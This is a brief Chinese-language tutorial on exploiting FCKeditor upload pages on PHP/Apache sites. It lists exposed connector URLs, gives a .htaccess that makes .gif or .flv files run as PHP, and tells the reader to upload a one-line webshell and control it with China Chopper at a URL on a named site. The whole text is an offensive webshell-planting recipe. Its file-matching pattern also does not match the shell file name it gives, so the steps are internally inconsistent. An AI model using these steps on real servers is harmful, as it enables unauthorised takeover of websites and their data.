php+apache fckeditor漏洞利用

1.发现fckeditor目录存在，存在以下链接：
 
FCKeditor/editor/filemanager/upload/test.html
 
FCKeditor/editor/filemanager/browser/default/connectors/test.html
 
FCKeditor/editor/filemanager/browser/default/browser.html?Type=file&Connector=connectors/php/connector.php
 
FCKeditor/editor/filemanager/browser/default/browser.html?Type=image&Connector=connectors/php/connector.php
 
2.创建1.htaccess文件,文件内容如下：
 
<FilesMatch "_php.gif">
 
SetHandler application/x-httpd-php
 
</FilesMatch>
 

3.上传1.htaccess和一句话木马文件fuckxx.php.gif 到同一目录,一般是UserFiles/File/目录下。
 
4.中国菜刀链接：http://www.kanwangluo.com/UserFiles/File/fuckxx.php.gif, 
 
 
 
还有就是有些人可能会遇到在上传图片的时候，fckeditor报错，说是错误的文件什么的，这里有个方法：
 
可以换种上传类型，用Flash上传就不会碰到类似的限制，不过.htaccess文件的内容也要改改，还有shell的文件名
 
<FilesMatch "_php.flv">
 
SetHandler application/x-httpd-php
 
</FilesMatch>
 
shell的名字改成shell.php.flv 这样就可以了